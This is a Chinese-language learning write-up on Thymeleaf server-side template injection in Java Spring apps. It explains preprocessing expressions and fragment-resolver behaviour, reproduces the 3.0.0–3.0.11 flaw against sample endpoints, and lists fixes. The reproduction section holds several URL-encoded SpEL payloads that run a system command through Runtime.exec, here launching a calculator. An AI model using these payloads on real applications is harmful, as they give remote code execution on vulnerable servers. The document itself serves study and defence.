Java Thymeleaf模板注入学习
Thymeleaf模板引擎表达式
${...} // 变量表达式
*{...} // 选择表达式
#{...} // 消息表达式
@{...} // URL表达式
~{...} // 片段表达式
__${...}__ // 预处理表达式(关键!)
Thymeleaf预处理表达式__${...}__执行时机深度剖析
路径解析器

根据上面的代码中,参数lang我们可以控制,像这种直接可以拼接,返回结果为路径模式的,模板引擎会使用路径解析器解析
第一种,普通视图名
user/en/welcome
#直接作为路径使用
#检查模板文件是否存在,若不存在,抛出异常
当lang=en时候,这将会作为普通视图名,直接作为路径使用,Thymeleaf会根据配置文件寻找到templates文件夹下面的html文件,由于返回的是user/en/welcome,因此直接定位到templates/user/en/welcome.html

第二种,包含预处理表达式的视图名
user/__${...}__/welcome
假设场景为lang=__${7*7}__,这里需要将花括号编码发送__$%7B7*7%7D__
因为现代 Web 容器(Tomcat 8+,Spring Boot 2.x+)默认启用了严格的 URL 解析,当 URL 包含未经编码的 { 或 } 时,Tomcat 会在请求到达 Spring 之前就拒绝,当url编码传入后端,容器会自动进行解码,不需要在代码中实现出来

我们可以看到并没有运行7*7的结果49作为路径值使用
这是因为在路径解析器的执行流程中,会先直接寻找是否存在该模板文件,由于传入的是lang=__${7*7}__,Thymeleaf在寻找templates/user/${7*7}/welcome.html这个文件,这个在项目中显然不存在,因此直接抛出异常
如果想要先执行解析预处理表达式的结果,那么就需要了解片段解析器的运行机制了
片段解析器
片段解析器(Fragment Expression Parser)是 Thymeleaf 中专门用于解析片段表达式 ~{...} 的组件。它的主要职责是处理包含 :: 操作符的视图名称,将其分割为模板名和片段名两部分。
// Thymeleaf 片段表达式的标准语法
"templateName :: fragmentName"
// 片段表达式示例
"welcome :: main" // 模板: welcome, 片段: main
"user/profile :: info" // 模板: user/profile, 片段: info
"footer :: copy" // 模板: footer, 片段: copy
片段解析器触发流程
Controller 返回视图名
↓
检测是否包含 "::"?
├─ 是 → 进入片段解析器
└─ 否 → 进入路径解析器


当section参数为main时候,返回的是welcome :: main,检测到包含 :: 操作符,进入片段解析器,找到welcome.html文件中的main片段返回内容

当::和预处理表达式同时出现的时候,就会先执行预处理表达式里面的结果
当参数lang值为如下时候
lang=__${7*7}__::.x
编码后
lang=__$%7B7*7%7D__::.x
或
lang=__$%7B7*7%7D__::x
// 片段解析器执行步骤:
Step 1: 检测到 "::",确认为片段表达式
↓
Step 2: 预处理阶段 - 查找并执行所有 __${...}__ 表达式
├─ 发现 __${7*7}__
├─ 执行 7*7 = 49
└─ 替换为 "user/49::.x/welcome"
↓
Step 3: 分割字符串
├─ templateName = "user/49"
└─ fragmentSpec = ".x/welcome"
↓
Step 4: 检查模板是否存在
├─ 尝试加载 templates/user/49.html
└─ 如果不存在 → 抛出 TemplateNotFound
↓
Step 5: 如果模板存在,解析指定的片段

漏洞分析复现
Thymeleaf在3.0.0-3.0.11存在模板注入,且返回的内容不能被RestController、ResponseBody、Http ServletResponse、redirect重定向、forward转发等,因为被上述注解修饰或者重定向后,不会通过模板进行解析;还有一种场景,当返回类型为void时,springboot会默认从URL部分中获取视图名,如果路径可控,同样会存在模板注入的问题

先看前两个接口/path、/fragment,参数分别为lang、section,返回类型为string,最后都通过return返回了视图,且无上述注解及response参数;再看第三个接口/path/{path},返回类型为void,无返回,但是输入信息通过了日志记录。
插入payload,注意插入payload的时候要对关键的字符进行URL编码
- /path接口,该接口将输入信息作为了视图名
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
或
/path?lang=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x
或
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::x
或
/path?lang=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::x

- /fragment接口,将接口信息作为视图名,但是存在::,则模板会使用片段解析器
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
或
/fragment?section=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x
或
section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::x
或
/fragment?section=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x
或
section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__
或
/fragment?section=__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__

- /path/{path}接口,该接口无返回
/path/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
或
/path/__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::.x
或
/path/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::x
或
/path/__$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d__::x

漏洞修复
- 配置ResponseBody或RestController注解

- 通过redirect
根据springboot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值
所以配置redirect:主要影响的是获取视图的部分。在ThymeleafViewResolver#createView中,如果视图名以redirect:开头,则会创建RedirectView并返回。所以不会使用ThymeleafView解析。

- 方法参数中设置HttpServletResponse 参数
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。
这种方式只对返回值为空的情况下有效,如果返回值不为空,还是会以模板进行渲染操作
